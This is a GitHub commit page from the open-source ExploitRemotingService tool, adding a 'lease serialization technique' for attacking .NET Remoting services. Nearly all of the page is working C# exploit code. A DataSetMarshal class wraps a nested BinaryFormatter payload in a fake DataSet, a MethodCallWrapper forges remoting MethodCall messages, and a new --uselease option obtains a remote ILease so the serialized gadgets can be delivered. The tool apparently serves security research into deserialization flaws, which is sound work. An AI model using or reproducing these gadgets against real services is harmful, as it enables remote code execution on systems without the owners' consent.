Skip to content

Commit 57aa3e5

Browse files
tyranidtyranid
committed
Added lease serialization technique.
1 parent 66f95d8 commit 57aa3e5

11 files changed

Lines changed: 366 additions & 103 deletions

‎ExploitRemotingService/DataSetMarshal.cs‎

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
// ExploitRemotingService
2+
// Copyright (C) 2019 James Forshaw
3+
//
4+
// This program is free software: you can redistribute it and/or modify
5+
// it under the terms of the GNU General Public License as published by
6+
// the Free Software Foundation, either version 3 of the License, or
7+
// (at your option) any later version.
8+
//
9+
// This program is distributed in the hope that it will be useful,
10+
// but WITHOUT ANY WARRANTY; without even the implied warranty of
11+
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12+
// GNU General Public License for more details.
13+
//
14+
// You should have received a copy of the GNU General Public License
15+
// along with this program. If not, see <http://www.gnu.org/licenses/>.
16+
17+
using System;
18+
using System.Data;
19+
using System.IO;
20+
using System.Runtime.Remoting.Messaging;
21+
using System.Runtime.Serialization;
22+
using System.Runtime.Serialization.Formatters.Binary;
23+
24+
namespace ExploitRemotingService
25+
{
26+
[Serializable]
27+
class DataSetMarshal : ISerializable
28+
{
29+
object _fakeTable;
30+
public void GetObjectData(SerializationInfo info, StreamingContext context)
31+
{
32+
info.SetType(typeof(System.Data.DataSet));
33+
info.AddValue("DataSet.RemotingFormat", SerializationFormat.Binary);
34+
info.AddValue("DataSet.DataSetName", "");
35+
info.AddValue("DataSet.Namespace", "");
36+
info.AddValue("DataSet.Prefix", "");
37+
info.AddValue("DataSet.CaseSensitive", false);
38+
info.AddValue("DataSet.LocaleLCID", 0x409);
39+
info.AddValue("DataSet.EnforceConstraints", false);
40+
info.AddValue("DataSet.ExtendedProperties", null);
41+
info.AddValue("DataSet.Tables.Count", 1);
42+
BinaryFormatter fmt = new BinaryFormatter
43+
{
44+
SurrogateSelector = new RemotingSurrogateSelector()
45+
};
46+
MemoryStream stm = new MemoryStream();
47+
fmt.Serialize(stm, _fakeTable);
48+
49+
info.AddValue("DataSet.Tables_0", stm.ToArray());
50+
}
51+
public DataSetMarshal(object fakeTable)
52+
{
53+
_fakeTable = fakeTable;
54+
}
55+
}
56+
}

‎ExploitRemotingService/ExploitRemotingService.csproj‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,8 @@
7171
</ItemGroup>
7272
<ItemGroup>
7373
<Compile Include="CustomChannel.cs" />
74+
<Compile Include="DataSetMarshal.cs" />
75+
<Compile Include="MethodCallWrapper.cs" />
7476
<Compile Include="SerializableWrapper.cs" />
7577
<Compile Include="SerializerRemoteClass.cs" />
7678
<Compile Include="FakeComObjRef.cs" />

‎ExploitRemotingService/MethodCallWrapper.cs‎

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
// ExploitRemotingService
2+
// Copyright (C) 2019 James Forshaw
3+
//
4+
// This program is free software: you can redistribute it and/or modify
5+
// it under the terms of the GNU General Public License as published by
6+
// the Free Software Foundation, either version 3 of the License, or
7+
// (at your option) any later version.
8+
//
9+
// This program is distributed in the hope that it will be useful,
10+
// but WITHOUT ANY WARRANTY; without even the implied warranty of
11+
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12+
// GNU General Public License for more details.
13+
//
14+
// You should have received a copy of the GNU General Public License
15+
// along with this program. If not, see <http://www.gnu.org/licenses/>.
16+
17+
using System;
18+
using System.Linq;
19+
using System.Reflection;
20+
using System.Runtime.Remoting.Messaging;
21+
using System.Runtime.Serialization;
22+
23+
namespace ExploitRemotingService
24+
{
25+
[Serializable]
26+
class MethodCallWrapper : ISerializable
27+
{
28+
private readonly string _uri;
29+
private readonly MethodBase _method;
30+
private readonly object[] _args;
31+
32+
public MethodCallWrapper(string uri, MethodBase method, object[] args)
33+
{
34+
_uri = uri;
35+
_method = method;
36+
_args = args;
37+
}
38+
39+
public void GetObjectData(SerializationInfo info, StreamingContext context)
40+
{
41+
info.SetType(typeof(MethodCall));
42+
info.AddValue("__Uri", _uri);
43+
info.AddValue("__MethodName", _method.Name);
44+
info.AddValue("__MethodSignature", _method.GetParameters().Select(p => p.ParameterType).ToArray());
45+
info.AddValue("__Args", _args);
46+
info.AddValue("__TypeName", _method.DeclaringType.FullName);
47+
info.AddValue("__CallContext", string.Empty);
48+
}
49+
}
50+
}

‎ExploitRemotingService/Program.cs‎

Lines changed: 16 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,7 @@
3232
using System.Runtime.Remoting.Channels;
3333
using System.Runtime.Remoting.Channels.Ipc;
3434
using System.Runtime.Remoting.Channels.Tcp;
35+
using System.Runtime.Remoting.Lifetime;
3536
using System.Runtime.Serialization.Formatters;
3637
using System.Security.Principal;
3738

@@ -54,6 +55,7 @@ class Program
5455
private static string _remotename;
5556
private static bool _usecom;
5657
private static bool _useser;
58+
private static bool _uselease;
5759
private static string _installdir;
5860

5961
static void SetupServer()
@@ -171,6 +173,8 @@ private static bool ProcessArgs(string[] args)
171173
{ "v|verbose", "Enable verbose debug output", v => debug = v != null },
172174
{ "useser", "Uses old serialization tricks, only works on full type filter services",
173175
v => _useser = v != null },
176+
{ "uselease", "Uses new serialization tricks by abusing lease mechanism.",
177+
v => _useser = _uselease = v != null },
174178
{ "nulluri", "Don't send the URI header to the server", v => _null_uri = v != null },
175179
{ "autodir", "When useser is specified try and automatically work out the installdir parameter from the server's current directory.", v => _autodir = v != null },
176180
{ "installdir=", "Specify the install directory of the service executable to enable full support with useser",
@@ -265,7 +269,13 @@ private static IRemoteClass GetExistingRemoteClass()
265269

266270
private static IRemoteClass CreateRemoteClassSerial(CustomChannel channel)
267271
{
268-
SerializerRemoteClass remote = new SerializerRemoteClass(channel);
272+
ILease lease = null;
273+
if (_uselease)
274+
{
275+
lease = channel.MakeCall<ILease>(_uri.AbsolutePath, typeof(MarshalByRefObject).GetMethod("InitializeLifetimeService"));
276+
}
277+
278+
SerializerRemoteClass remote = new SerializerRemoteClass(channel, lease);
269279
if (!string.IsNullOrWhiteSpace(_installdir) || _autodir)
270280
{
271281
if (_autodir)
@@ -384,8 +394,12 @@ private static IRemoteClass CreateRemoteClass(CustomChannel channel)
384394

385395
private static object GetMessageObject(string path, MethodBase method, object[] args)
386396
{
387-
FakeMessage msg = new FakeMessage(path, method, args);
397+
if (_useser)
398+
{
399+
return new MethodCallWrapper(path, method, args);
400+
}
388401

402+
FakeMessage msg = new FakeMessage(path, method, args);
389403
if (_usecom)
390404
{
391405
return new FakeComObjRef(msg);

0 commit comments

Comments
 (0)